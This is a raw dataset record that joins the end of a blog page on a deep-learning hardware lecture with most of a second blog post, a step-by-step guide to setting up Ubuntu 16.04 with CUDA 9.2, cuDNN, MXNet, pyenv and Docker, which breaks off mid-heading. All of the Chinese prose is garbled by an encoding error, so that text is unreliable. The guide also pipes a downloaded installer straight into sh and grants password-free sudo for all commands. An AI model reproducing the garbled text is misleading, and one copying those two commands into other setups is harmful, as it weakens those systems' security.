ท็š„ไบงๅ“็ป็†๏ผŒไป–ไปฌๅฏนๆจกๅž‹็š„ไบŒ่ฟ›ๅˆถๆ–‡ไปถ็š„ๅคงๅฐ้žๅธธๆ•ๆ„Ÿ๏ผ›่‡ชๅŠจ้ฉพ้ฉถ็š„ๆฑฝ่ฝฆๆ™บ่ƒฝๅœจ็บฟๆ›ดๆ–ฐๆจกๅž‹ใ€‚\n- Speed\n - ่ฎญ็ปƒ้€Ÿๅบฆๅพˆๆ…ขใ€‚\n- Energy Efficiency\n - ่ƒฝ่€—้—ฎ้ข˜ใ€‚ๅตŒๅ…ฅๅผ่ฎพๅค‡ไธŠไผš้™ไฝŽ็ปญ่ˆชๆ—ถ้—ด๏ผ›ๅœจๅคงๅž‹ๆ•ฐๆฎไธญๅฟƒไผšๅขžๅŠ ่ฟ็ปดๆˆๆœฌใ€‚\n\n\n\nๆ›ดๅคšๅ†…ๅฎน๏ผŒ่ฏท็ฟปSlide...\n<iframe src=\"http://cs231n.stanford.edu/slides/2017/cs231n_2017_lecture15.pdf\" style=\"width:1000px; height:800px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"http://cs231n.stanford.edu/slides/2017/cs231n_2017_lecture15.pdf\">Download PDF</a></iframe>\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_Efficient Methods and Hardware for Deep Learning.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6564796566963196, "alphanum_fraction": 0.6987996101379395, "avg_line_length": 20.010295867919922, "blob_id": "e29acce69e53b50f63e6ed91ee867da50fb564f7", "content_id": "1f25d8ed0c726748bc33cf20b607106717a5526c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 19572, "license_type": "no_license", "max_line_length": 596, "num_lines": 777, "path": "/blog/posts/Ubuntu16.04_CUDA-9.2_cuDNN-7.3_MXNet-cu92_MyInstallitionNotes.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Ubuntu 16.04/CUDA-9.2/cuDNN-7.3/MXNet-cu92 ๆทฑๅบฆๅญฆไน ็Žฏๅขƒ้…็ฝฎๆต็จ‹\ndate: 2019-01-22\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n\n\n# Ubuntu 16.04/CUDA-9.2/cuDNN-7.3/MXNet-cu92 ๆทฑๅบฆๅญฆไน ็Žฏๅขƒ้…็ฝฎๆต็จ‹\n\n\n\n> ๆญคๆ–‡ๆ˜ฏ่‡ชๅทฑ้ฆ–ๆฌก้…็ฝฎ Ubuntu 16.04 ๅ’Œๆทฑๅบฆๅญฆไน  GPU 1080ti x4 ็Žฏๅขƒ็š„้…็ฝฎๆต็จ‹๏ผŒไธ€ไบ›ๅฎนๆ˜“็ขฐๅˆฐ็š„ๅ‘ๅ’Œๅ‚่€ƒ่ต„ๆ–™้ƒฝๅทฒๆณจๆ˜Žๆธ…ๆฅšใ€‚\n>\n> ไปฅไธ‹้…็ฝฎๆต็จ‹๏ผŒไป…ไพ›ๅ‚่€ƒใ€‚\n\n\n\n[TOC]\n\n\n\n> ็กฌไปถ้…็ฝฎๆธ…ๅ•๏ผš\n>\n> - ๏ผˆๅŽ็ก•๏ผ‰Z10PE-D8 WS ไธปๆฟ\n>\n> - ๏ผˆ่ฟฝ้ฃŽ่€…๏ผ‰PHANTEKS PK-614PC-BK ๆœบ็ฎฑ๏ผˆ[ref](http://item.jd.com/1340847.html#crumb-wrap)๏ผ‰\n>\n> - ๏ผˆๆŠ€ๅ˜‰๏ผ‰GTX 1080 TI TURBO 11G ๆถก่ฝฎ้ฃŽๆ‰‡GPUx4๏ผˆ[ref](http://gz.zol.com.cn/693/6931437.html)๏ผ‰\n>\n> - ๏ผˆ่‹ฑ็‰นๅฐ”๏ผ‰E5-2678 V3 2011 ๆœๅŠกๅ™จๆ•ดๆœบCPUx2๏ผˆ[ref](http://detail.zol.com.cn/servercpu/index1235828.shtml)๏ผ‰+ ไธ€ไฝ“ๆฐดๅ†ท\n>\n> - ๏ผˆไธ‰ๆ˜Ÿ๏ผ‰M393A4K40CB1-CRC4Q 32GB 2Rx4 PC4-2400T-RA1 ๆœๅŠกๅ™จๅ†…ๅญ˜x2๏ผˆ[ref](https://info.b2b168.com/s168-85780930.html)๏ผ‰\n>\n> - ๏ผˆไธ‰ๆ˜Ÿ๏ผ‰ 860 EVO 250G 2.5่‹ฑๅฏธ ๅ›บๆ€็กฌ็›˜๏ผˆ[ref](http://item.jd.com/6287165.html)๏ผ‰\n>\n> <img src=\"https://i.loli.net/2019/01/24/5c4965e138b95.jpeg\" style=\"zoom:50%\" />\n\n\n\n## optional๏ผšๅˆท BIOS\n\nๆ›พๅˆทๆ–ฐ่ฟ‡ไธปๆฟ็š„ BIOS `Z10PE-D8 WS`๏ผŒไปŽๅŽ็ก•ๅฎ˜็ฝ‘[ไธ‹่ฝฝ](https://www.asus.com.cn/Commercial-Servers-Workstations/Z10PED8_WS/HelpDesk_BIOS/)ๅˆฐ U ็›˜ไธŠ๏ผŒๆŸฅๅˆฐไธปๆœบไธŠๅŽๅ† POST ๆ—ถๅ€™ๆŒ‰ <kbd>Del</kbd>ใ€‚\n\n<img src=\"https://i.loli.net/2019/01/24/5c49682418010.jpeg\" style=\"zoom:10%\" />\n\n> **ๆณจๆ„๏ผ**\n>\n> ๅˆท BIOS ๅŽ๏ผŒ้œ€่ฆๅœจ BIOS ไธญ้‡ๆ–ฐ่ฎพๅฎšๅผ€ๅฏ `4G Decoding`๏ผŒๆ‰ๅฏไปฅๅธฆ่ตทๆฅ4ไธช GPU๏ผๅฆ‚ไธ‹ๅ›พ๏ผš\n>\n> <img src=\"https://i.loli.net/2019/01/24/5c4969675959c.png\" style=\"zoom:50%\"/>\n>\n> ไธ็„ถไผšๆœ‰ PCI ่ต„ๆบไธๅคŸ็š„้—ฎ้ข˜๏ผŒๅฆ‚ไธ‹ๅ›พ๏ผš\n>\n> <img src=\"https://i.loli.net/2019/01/24/5c496920e57f9.png\" style=\"zoom:50%\" />\n\n\n\n\n\n## ็ฆ็”จUbuntu่‡ชๅŠจๆ›ดๆ–ฐ\n\n็ฆ็”จ็ณป็ปŸ่‡ชๅŠจๆ›ดๆ–ฐ๏ผŒไปฅๅ…ๆ˜พๅก้ฉฑๅŠจๅ‡บ็Žฐ้—ฎ้ข˜\n\n- ็ณป็ปŸ่ฎพ็ฝฎ๏ผˆSystem Settings๏ผ‰- Software & Updates - Updates - ไฟฎๆ”น๏ผš\n\n - \"Automatically check for updates\" ไธบ `Never`\n - \"Notify me of a new Ubuntu version\" ไธบ `Never`\n\n- ไฟฎๆ”น้…็ฝฎๆ–‡ไปถ๏ผš\n\n ```bash\n sudo gedit /etc/apt/apt.conf.d/10periodic\n ```\n\n ไฟฎๆ”นๆ–‡ไปถไธญๆ‰€ๆœ‰้€‰้กนๆ•ฐๅ€ผไธบ0๏ผš\n\n ```json\n APT::Periodic::Update-Package-Lists \"0\";\n APT::Periodic::Download-Upgradeable-Packages \"0\";\n APT::Periodic::AutocleanInterval \"0\";\n ```\n\n \n\n\n\n\n\n## tuna ๆบ\n\n่ฎพ็ฝฎๆธ…ๅŽ็š„APTๆบ๏ผš\n\n```bash\n$ sudo apt-get update && sudo apt-get grade\n```\n\n\n\n## Gdebi\n\nๅฎ‰่ฃ… Gdebi\n\n```bash\n$ sudo apt-get install gdebi\n```\n\n\n\n\n\n## CUDA 9.2\n\n> REF๏ผš\n>\n> - [CUDA Toolkit 9.2](https://developer.nvidia.com/cuda-92-download-archive) (May 2018)\n>\n> ๅฏไปฅไปŽๆˆ‘็š„็™พๅบฆไบ‘็›ดๆŽฅๅฟซ้€Ÿไธ‹่ฝฝๅˆฐ๏ผš[็™พๅบฆไบ‘](https://pan.baidu.com/s/1U8pGv_o62iS1JFyXjK04Tg)\n>\n> - [Online Documentation](https://docs.nvidia.com/cuda/archive/9.2/) (From : [CUDA Toolkit Archive](https://developer.nvidia.com/cuda-toolkit-archive)) \n>\n> - [CUDA Installation Guide for Ubuntu](https://gartner.io/cuda-installation-guide/)\n>\n> - [[SOLVED, solution included] How to install 9.2 patch on ubuntu with deb?](https://devtalk.nvidia.com/default/topic/1038566/cuda-setup-and-installation/-solved-solution-included-how-to-install-9-2-patch-on-ubuntu-with-deb-/)\n\n่ฟ™ๆฌก็”จ Deb ๅŒ…ๆฅๅฎ‰่ฃ…ใ€‚ๅ…ˆ่ฆไธฅๆ ผๆŒ‰็…งๅฎ˜ๆ–นๆ–‡ๆกฃ็š„่ฏดๆ˜Žๆฅ pre-intallation๏ผš\n\n```bash\n$ lspci | grep -i nvidia\t\t\t\t\t\t\t# return NVIDIA-GPUไฟกๆฏ\n$ uname -m && cat /etc/*release\t\t\t\t\t\t# return x86_64...\n$ gcc --version\t\t\t\t\t\t\t\t\t\t# 5.4.0\n$ uname -r\t\t\t\t\t\t\t\t\t\t\t# ็ž…ไธ€็œผ kernel ็š„็‰ˆๆœฌ\n$ sudo apt-get install linux-headers-$(uname -r)\t# ๅฎ‰่ฃ… kernel headers ๅ’Œ dev ๅŒ…\n```\n\nไธŠ้ขๅŽไธคไธชๆŒ‡ไปคๆ˜ฏๅพˆ้‡่ฆ็š„๏ผŒๅŽŸๅ› ๆ˜ฏ๏ผš\n\n> While the Runfile installation performs no package validation, the RPM and **Deb** installations of the driver will make an attempt to install the kernel header and development packages if no version of these packages is currently installed. However, it will install the latest version of these packages, which may or may not match the version of the kernel your system is using. **Therefore, it is best to manually ensure the correct version of the kernel headers and development packages are installed prior to installing the CUDA Drivers, as well as whenever you change the kernel version.**\n\nๅ†ๅฆ‚ไธ‹ๅฎ‰่ฃ… CUDA๏ผš\n\n```bash\n$ sudo dpkg -i cuda-repo-ubuntu1604-9-2-local_9.2.148-1_amd64.deb\n$ sudo dpkg -i cuda-repo-ubuntu1604-9-2-148-local-patch-1_1.0-1_amd64.deb\n$ sudo apt-key add /var/cuda-repo-9-2-local/7fa2af80.pub\n$ sudo apt update\n$ sudo apt install cuda\n```\n\nๆณจ๏ผš่‹ฅๆ˜ฏๅ…ˆ็”จ `cuda-repo-ubuntu1604-9-2-local_9.2.148-1_amd64.deb` ๅทฒ็ปๅฎ‰่ฃ… cuda ๏ผŒๅŽๅ†ๅฎ‰่ฃ…ๅ‡็บงๅŒ… `cuda-repo-ubuntu1604-9-2-148-local-patch-1_1.0-1_amd64.deb` ็š„่ฏ๏ผŒๅช้œ€๏ผš\n\n```bash\n$ sudo dpkg -i cuda-repo-ubuntu1604-9-2-148-local-patch-1_1.0-1_amd64.deb\n$ sudo apt update\n$ sudo apt upgrade cuda\n```\n\n่ฟ่กŒไธ‹้ขๆŒ‡ไปคๆŸฅ้ชŒ CUDA๏ผš\n\n```bash\n$ cat /proc/driver/nvidia/version \n$ nvcc -V\n# nvcc: NVIDIA (R) Cuda compiler driver\n# Copyright (c) 2005-2018 NVIDIA Corporation\n# Built on Tue_Jun_12_23:07:04_CDT_2018\n# Cuda compilation tools, release 9.2, V9.2.148\n```\n\n- ๆŠŠไธ€ไบ›ๅฏ้€‰็š„็ฌฌไธ‰ๆ–นๅบ“ไนŸ้กบ้“้ƒฝ่ฃ…ไบ†ๅง~ ๏ผˆๅฎ‰่ฃ…ๅŠžๆณ•ๆฅ่‡ช NVIDIA-CUDA ๅฎ˜ๆ–นๆ–‡ๆกฃ๏ผ‰\n\n```bash\n$ sudo apt-get install g++ freeglut3-dev build-essential libx11-dev \\\n libxmu-dev libxi-dev libglu1-mesa libglu1-mesa-dev \\\n curl file\n```\n\n- ๆŸฅ็œ‹ GPU ็Šถๆ€๏ผš`$ nvidia-smi`\n\n ![](https://i.loli.net/2018/10/29/5bd6a3eb29bab.png)\n\n ```shell\n # ๅฏ็”จๅฆ‚ไธ‹ไปฃ็ ๅฎžๆ—ถ็›‘ๆŽง\n $ watch -n 1 -d nvidia-smi\n ```\n\n\n\n## cuDNN-9.2\n\nๅฎ‰่ฃ… [CUDA Dependencies](http://mxnet.incubator.apache.org/install/ubuntu_setup.html#cuda-dependencies) ๏ผš [cuDNN 7.1.4](https://developer.nvidia.com/cudnn) ใ€‚่ฟ™ไนŸๅฏไปŽๆˆ‘็š„[็™พๅบฆไบ‘](https://pan.baidu.com/s/1U8pGv_o62iS1JFyXjK04Tg)ไธ‹่ฝฝ๏ผš\n\n```shell\n$ tar xvf cudnn-9.2-linux-x64-v7.3.1.20.tar\n$ sudo cp -P cuda/include/cudnn.h /usr/local/cuda/include\n$ sudo cp -P cuda/lib64/libcudnn* /usr/local/cuda/lib64\n$ sudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn*\n$ sudo ldconfig\n```\n\n๏ผˆFrom: [ref](http://mxnet.incubator.apache.org/install/ubuntu_setup.html#cuda-dependencies)๏ผ‰\n\n\n\n## Git\n\n> Ref:\n>\n> - [Download for Linux and Unix](https://git-scm.com/download/linux)\n> - [Ubuntuไธ‹git็š„ๅฎ‰่ฃ…ไธŽไฝฟ็”จ](https://www.cnblogs.com/lxm20145215----/p/5905765.html)\n> - [Testing your SSH connection](https://help.github.com/articles/testing-your-ssh-connection/#platform-linux)\n\n```bash\n$ sudo apt-get install git\n```\n\nๅฎ‰่ฃ…ๅฅฝๅŽ๏ผŒ็ฎ€ๅ•้…็ฝฎไธ€ไธ‹๏ผš\n\n```bash\n$ git config --global user.name \"iphysresearch\" # ๆขๆˆไฝ ็š„็”จๆˆทๅ\n$ git config --global user.email \"[email protected]\"\t# ๆขๆˆไฝ ็š„้‚ฎ็ฎฑ\n```\n\nๅˆ›ๅปบ้ชŒ่ฏ็”จ็š„ๅ…ฌ้’ฅ๏ผš๏ผˆๅ› ไธบ`git`ๆ˜ฏ้€š่ฟ‡`ssh`็š„ๆ–นๅผ่ฎฟ้—ฎ่ต„ๆบๅบ“็š„๏ผŒๆ‰€ไปฅ้œ€่ฆๅœจๆœฌๅœฐๅˆ›ๅปบ้ชŒ่ฏ็”จ็š„ๆ–‡ไปถ๏ผ‰\n\n```bash\n$ ssh-keygen -C '[email protected]' -t rsa # ๆขๆˆไฝ ็š„้‚ฎ็ฎฑ\n```\n\n่ฟ™ๆ ทไผšๅœจ็”จๆˆท็›ฎๅฝ• `~/.ssh/ `ไธ‹ๅปบ็ซ‹็›ธๅบ”็š„ๅฏ†้’ฅๆ–‡ไปถๅŽ๏ผŒไธŠไผ ๅˆฐ่‡ชๅทฑ็š„ Github ่ดฆๅท้‡Œ๏ผš\n\n```bash\n$ less ~/.ssh/id_rsa.pub\n```\n\nๅคๅˆถไธŠ้ขๆŒ‡ไปคๅŽ็š„ๅ†…ๅฎนๅˆฐ https://github.com/settings/keys ๏ผŒๅˆ›ๅปบ SSH ๅ…ฌ้’ฅ๏ผŒไฟๅญ˜ๅณๅฏใ€‚\n\nๆœ€ๅŽ๏ผŒๆŸฅ้ชŒไธ€ไธ‹๏ผš\n\n```bash\n$ ssh -T [email protected]\n```\n\n> The authenticity of host 'github.com (52.74.223.119)' can't be established.\n> RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.\n> Are you sure you want to continue connecting (yes/no)? **yes**\n> Warning: Permanently added 'github.com,52.74.223.119' (RSA) to the list of known hosts.\n> Hi **iphysresearch**! You've successfully authenticated, but GitHub does not provide shell access.\n\n\n\n\n\n## ๅšๆžœไบ‘\n\nไปŽๅฎ˜็ฝ‘ไธ‹่ฝฝ deb ๅŒ…๏ผšhttps://www.jianguoyun.com/s/downloads/linux\n\nๅฎ‰่ฃ…๏ผš๏ผˆ็”จ Gdebi ็š„ๅ›พๅƒ็•Œ้ขๅฎ‰่ฃ…ไนŸๅฏไปฅ๏ผ‰\n\n```bash\n$ sudo gdebi nautilus_nutstore_amd64.deb\n```\n\n้œ€้‡ๅฏ nautilus๏ผš\n\n```bash\n$ nautilus -q\n```\n\nๅฎ‰่ฃ…ๅฎŒๆˆ๏ผ\n\n\n\n\n\n## ๅ‘ๆ—ฅ่‘ต\n\nๅฎ˜็ฝ‘ไธ‹่ฝฝๅฎขๆˆท็ซฏLinuxๅฎ‰่ฃ…ๅŒ…๏ผšhttps://sunlogin.oray.com/zh_CN/download\n\n```bash\n$ sudo ./install.sh\n```\n\nไฝ ๆ‡‚ๅพ—ใ€‚ใ€‚ใ€‚\n\n\n\n## pip\n\n> Ref:\n>\n> - [pip 18.1 Installation](https://pip.pypa.io/en/stable/installing/#upgrading-pip)\n> - [Installing pip/setuptools/wheel with Linux Package Managers](https://packaging.python.org/guides/installing-using-linux-tools/#installing-pip-setuptools-wheel-with-linux-package-managers)\n\n```bash\ncurl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\nsudo python3 get-pip.py\n```\n\nๅ‡็บง pip\n\n```bash\npip3 install -U pip\npip3 --verison\n```\n\nTip๏ผš[ๅ‡็บงpipๅŽๅ‡บ็ŽฐImportError: cannot import name main](https://blog.csdn.net/accumulate_zhang/article/details/80269313)\n\n\n\n- Python 2:\n\n ```bash\n $ sudo apt install python-pip\n ```\n\n- Python 3:\n\n ```bash\n $ sudo apt install python3-venv python3-pip\n ```\n\n\n\n## Linuxbrew\n\nๆ นๆฎๅฎ˜็ฝ‘ๅฎ‰่ฃ…๏ผšhttps://linuxbrew.sh\n\n```bash\n$ sh -c \"$(curl -fsSL https://raw.githubusercontent.com/Linuxbrew/install/master/install.sh)\"\n$ sudo apt-get install build-essential # (optional)\n```\n\nAdd Linuxbrew to your `PATH` and to your bash shell profile script:\n\n```bash\n$ test -d ~/.linuxbrew && eval $(~/.linuxbrew/bin/brew shellenv)\n$ test -d /home/linuxbrew/.linuxbrew && eval $(/home/linuxbrew/.linuxbrew/bin/brew shellenv)\n$ test -r ~/.profile && echo \"eval \\$($(brew --prefix)/bin/brew shellenv)\" >>~/.profile\n$ echo \"eval \\$($(brew --prefix)/bin/brew shellenv)\" >>~/.profile\n```\n\nๆต‹่ฏ•ไธ€ไธ‹๏ผš\n\n```bash\n$ brew doctor\n$ brew install hello\n```\n\n\n\n## Pyenv\n\nไปŽๅฎ˜็ฝ‘ไธ‹่ฝฝ๏ผšhttps://github.com/pyenv/pyenv#homebrew-on-macos\n\n```bash\n$ brew update\n$ brew install pyenv\n```\n\nๅ†™ๅ…ฅ็Žฏๅขƒๅ˜้‡๏ผš๏ผˆ[ref](https://amaral.northwestern.edu/resources/guides/pyenv-tutorial)๏ผ‰\n\n```bash\n$ echo 'export PYENV_ROOT=\"$HOME/.pyenv\"' >> ~/.bashrc\n$ echo 'export PATH=\"$PYENV_ROOT/bin:$PATH\"' >> ~/.bashrc\n$ echo 'eval \"$(pyenv init -)\"' >> ~/.bashrc\n$ source ~/.bashrc\n```\n\n้…็ฝฎๅ›ฝๅ†…ไธƒ็‰›็š„้•œๅƒ๏ผš๏ผˆ[ref](http://ju.outofmemory.cn/entry/82405)๏ผ‰๏ผˆไนŸๅฏไปฅๅ‚่€ƒ[pyenv ๅฎ‰่ฃ…ๆœฌๅœฐ็‰ˆๆœฌ](https://www.cnblogs.com/uangyy/p/6186427.html)๏ผ‰\n\n```bash\n$ export PYTHON_BUILD_MIRROR_URL=\"http://pyenv.qiniudn.com\"\n```\n\nๆŸฅ็œ‹ๅฏๅฎ‰่ฃ…็š„ Python ็‰ˆๆœฌๅˆ—่กจ๏ผš\n\n```bash\n$ pyenv install --list\n```\n\nไฝœไธบไพ‹ๅญ๏ผŒ้€‰ๆ‹ฉ่ฃ… anaconda ไธ‹็š„ๆœ€ๆ–ฐ็‰ˆ๏ผš\n\n```bash\n$ pyenv install anaconda3-2018.12 # -v ๅ‚ๆ•ฐๅฏไปฅๆ˜พ็คบๅฎŒๆ•ด็š„ๅฎ‰่ฃ…่ฟ‡็จ‹\n```\n\nๅธธ็”จๆ“ไฝœ๏ผš\n\n```bash\n$ pyenv versions\t# ๆŸฅ็œ‹็›ฎๅ‰ๅทฒ็ปๅฎ‰่ฃ…็š„\n# system ่กจ็คบ็ณป็ปŸๅฎ‰่ฃ…\n# * ่กจ็คบๅฝ“ๅ‰ไฝฟ็”จ็š„้‚ฃไธช็‰ˆๆœฌ\n$ pyenv rehash\t\t# ๆ›ดๆ–ฐๆ•ฐๆฎๅบ“\n$ python -V \t# ๆŸฅ็œ‹่ฎพ็ฝฎๅ‰\n$ pyenv global anaconda3-2018.12\t# ็”จ pyenv ๅ˜ๆ›ดๅ…จๅฑ€ python ็‰ˆๆœฌ\n$ pyenv versions\t\t# ็”จ pyenv ๆŸฅ็œ‹ๅทฒๅฎ‰่ฃ…็š„็Šถๆ€\n$ python -V\t\t\t\t# ๆŸฅ็œ‹่ฎพ็ฝฎๅŽ\n$ which python \t\t\t# ๆŸฅ็œ‹็›ฎๅ‰ python\n```\n\nๅฏไปฅ่ฎพๅฎšๆŸๆ–‡ไปถ็›ฎๅฝ•ไธ‹็š„ๅฑ€้ƒจ python ็Žฏๅขƒ๏ผˆuse pyenv to define a project-specific, or local, version of Python๏ผ‰\n\n```shell\n$ pyenv local anaconda3-2018.12 # ๅœจๆŸ็›ฎๅฝ•ไธ‹ๆ‰ง่กŒๅฑ€้ƒจ็Žฏๅขƒ็š„ๅˆ‡ๆข\n```\n\nPython ็š„ไผ˜ๅ…ˆ็บง ๏ผˆ[ref](http://einverne.github.io/post/2017/04/pyenv.html)๏ผ‰\n\n- shell > local > global\n\n`pyenv` ไผšไปŽๅฝ“ๅ‰็›ฎๅฝ•ๅผ€ๅง‹ๅ‘ไธŠ้€็บงๆŸฅๆ‰พ .python-version ๆ–‡ไปถ๏ผŒ็›ดๅˆฐๆ น็›ฎๅฝ•ไธบๆญขใ€‚่‹ฅๆ‰พไธๅˆฐ๏ผŒๅฐฑ็”จ global ็‰ˆๆœฌใ€‚\n\n```shell\n$ pyenv shell 2.7.3 # ่ฎพ็ฝฎ้ขๅ‘ shell ็š„ Python ็‰ˆๆœฌ๏ผŒ้€š่ฟ‡่ฎพ็ฝฎๅฝ“ๅ‰ shell ็š„ PYENV_VERSION ็Žฏๅขƒๅ˜้‡็š„ๆ–นๅผใ€‚่ฟ™ไธช็‰ˆๆœฌ็š„ไผ˜ๅ…ˆ็บงๆฏ” local ๅ’Œ global ้ƒฝ่ฆ้ซ˜ใ€‚โ€“unset ๅ‚ๆ•ฐๅฏไปฅ็”จไบŽๅ–ๆถˆๅฝ“ๅ‰ shell ่ฎพๅฎš็š„็‰ˆๆœฌใ€‚\n$ pyenv shell --unset\n\n$ pyenv rehash # ๅˆ›ๅปบๅžซ็‰‡่ทฏๅพ„๏ผˆไธบๆ‰€ๆœ‰ๅทฒๅฎ‰่ฃ…็š„ๅฏๆ‰ง่กŒๆ–‡ไปถๅˆ›ๅปบ shims๏ผŒๅฆ‚๏ผš~/.pyenv/versions/*/bin/*๏ผŒๅ› ๆญค๏ผŒๆฏๅฝ“ไฝ ๅขžๅˆ ไบ† Python ็‰ˆๆœฌๆˆ–ๅธฆๆœ‰ๅฏๆ‰ง่กŒๆ–‡ไปถ็š„ๅŒ…๏ผˆๅฆ‚ pip๏ผ‰ไปฅๅŽ๏ผŒ้ƒฝๅบ”่ฏฅๆ‰ง่กŒไธ€ๆฌกๆœฌๅ‘ฝไปค๏ผ‰\n```\n\n\n\n\n\n## Pipenv\n\nไปŽๅฎ˜็ฝ‘ไธ‹่ฝฝ๏ผšhttps://pipenv.readthedocs.io/en/latest/install/#homebrew-installation-of-pipenv\n\n```bash\n$ brew install pipenv\n```\n\n\n\n\n\n## VS Code\n\nไปŽๅฎ˜็ฝ‘ๅฎ‰่ฃ…๏ผšhttps://code.visualstudio.com/docs/setup/linux\n\nไธ‹่ฝฝ deb ๅŽ๏ผŒ้€‰ๆ‹ฉๆ€งๅฎ‰่ฃ…๏ผš\n\n```bash\n$ sudo apt install ./<file>.deb\n\n# If you're on an older Linux distribution, you will need to run this instead:\n# $ sudo dpkg -i <file>.deb\n# $ sudo apt-get install -f # Install dependencies\n```\n\n\n\n## sudo ๅ…ๅฏ†\n\nRef: [Ubuntu ่ฎพ็ฝฎๅฝ“ๅ‰็”จๆˆทsudoๅ…ๅฏ†็ ](https://www.linuxidc.com/Linux/2016-12/139018.htm)\n\n```bash\n# ๅค‡ไปฝ /etc/sudoers\n$ sudo cp /etc/sudoers .\n# ็ผ–่พ‘ /etc/sudoers\n$ sudo vim /etc/sudoers\n# ๆˆ–ไฝฟ็”จvisudoๆ‰“ๅผ€sudoersๅนถ็ผ–่พ‘\n# $ sudo visudo\n```\n\nๆ–‡ๅ†…ๆทปๅŠ ไธ€่กŒ๏ผš๏ผˆ่ฎพ็ฝฎ็”จๆˆทhewangๅ…ๅฏ†๏ผ‰\n\n```reStructuredText\nhewang\t\tALL=(ALL:ALL) NOPASSWD: ALL\n```\n\nๆณจ๏ผšsudo ็š„ๅทฅไฝœ่ฟ‡็จ‹ๅฆ‚ไธ‹๏ผˆ[ref](https://blog.csdn.net/a19881029/article/details/18730671)๏ผ‰\n\n1๏ผŒๅฝ“็”จๆˆทๆ‰ง่กŒ sudo ๆ—ถ๏ผŒ็ณป็ปŸไผšไธปๅŠจๅฏปๆ‰พ`/etc/sudoers`ๆ–‡ไปถ๏ผŒๅˆคๆ–ญ่ฏฅ็”จๆˆทๆ˜ฏๅฆๆœ‰ๆ‰ง่กŒ sudo ็š„ๆƒ้™\n\n2๏ผŒ็กฎ่ฎค็”จๆˆทๅ…ทๆœ‰ๅฏๆ‰ง่กŒ sudo ็š„ๆƒ้™ๅŽ๏ผŒ่ฎฉ็”จๆˆท่พ“ๅ…ฅ็”จๆˆท่‡ชๅทฑ็š„ๅฏ†็ ็กฎ่ฎค\n\n3๏ผŒ่‹ฅๅฏ†็ ่พ“ๅ…ฅๆˆๅŠŸ๏ผŒๅˆ™ๅผ€ๅง‹ๆ‰ง่กŒ sudo ๅŽ็ปญ็š„ๅ‘ฝไปค\n\n4๏ผŒroot ๆ‰ง่กŒ sudo ๆ—ถไธ้œ€่ฆ่พ“ๅ…ฅๅฏ†็ (`eudoers`ๆ–‡ไปถไธญๆœ‰้…็ฝฎ`root ALL=(ALL) ALL`่ฟ™ๆ ทไธ€ๆก่ง„ๅˆ™)\n\n5๏ผŒ่‹ฅๆฌฒๅˆ‡ๆข็š„่บซไปฝไธŽๆ‰ง่กŒ่€…็š„่บซไปฝ็›ธๅŒ๏ผŒไนŸไธ้œ€่ฆ่พ“ๅ…ฅๅฏ†็ \n\n\n\n\n\n## Docker\n\n[Install using the repository](https://docs.docker.com/install/linux/docker-ce/ubuntu/#install-using-the-repository)\n\nๅฎ‰่ฃ…ๅฅฝๅŽ๏ผŒไธ‹่ฝฝๆˆ‘้œ€่ฆ็”จๅˆฐ็š„ Images๏ผš\n\n```bash\n# https://cloud.docker.com/repository/docker/iphysresearch/gwave\n$ sudo docker pull iphysresearch/gwave:2.0.0\n$ sudo docker pull iphysresearch/gwave:1.0.0\n# https://hub.docker.com/_/redis/\n$ sudo docker pull redis\n```\n\n\n\n\n\n## Redis-py\n\nThe Python interface to the Redis key-value store. https://github.com/andymccurdy/redis-py\n\n```bash\n$ pip install redis\n```\n\n\n\n\n\n## Ray\n\nๅฎ˜็ฝ‘ไธ‹่ฝฝ๏ผšhttps://ray.readthedocs.io/en/latest/installation.html#latest-stable-version\n\n```bash\n$ pip install -U ray\n$ pip install modin\n$ pip install setproctitle # enable monitoring of worker processes\n```\n\n\n\n\n\n## Pyinstrument\n\nๆ€ง่ƒฝ่ฐƒ่ฏ•ๅทฅๅ…ท๏ผšhttps://github.com/joerick/pyinstrument\n\n```bash\n$ pip install pyinstrument\n```\n\n\n\n\n\n## MXNet-cu92\n\nๅœจๆˆ‘็š„้กน็›ฎ็›ฎๅฝ• `ML4GW` ไธญ๏ผŒๅฑ€้ƒจๆœฌๅœฐๅŒ– anaconda3 ็Žฏๅขƒ๏ผŒๅนถๅœจๆญค็Žฏๅขƒไธญๅฎ‰่ฃ… `mxnet-cu92`๏ผš\n\n```bash\n~/ML4GW$ pyenv local anconda3-5.3.1\n(anaconda3-5.3.1) ~/ML4GW$ pip install -U --pre mxnet-cu92\n(anaconda3-5.3.1) ~/ML4GW$ sudo ldconfig /usr/local/cuda-9.2/lib64\n# ๅฏๅŠจ anaconda3\n(anaconda3-5.3.1) ~/ML4GW$ anaconda-navigator\n```\n\nๆณจๆ„๏ผš\n\n**่ฟ™ๆ ท็š„ๅฎ‰่ฃ…ๆญฅ้ชค๏ผŒๆญค็”จๆˆท็š„ mxnet ๅฐ†ๅช่ƒฝๅœจ `anaconda3-5.3.1` ็Žฏๅขƒไธ‹ๆ‰่ƒฝ่ฐƒ็”จๆˆๅŠŸ๏ผ๏ผˆไธ้™ไบŽๆญค้กน็›ฎ็›ฎๅฝ•๏ผ‰**\n\n\n\n## GNU-sed (Just for 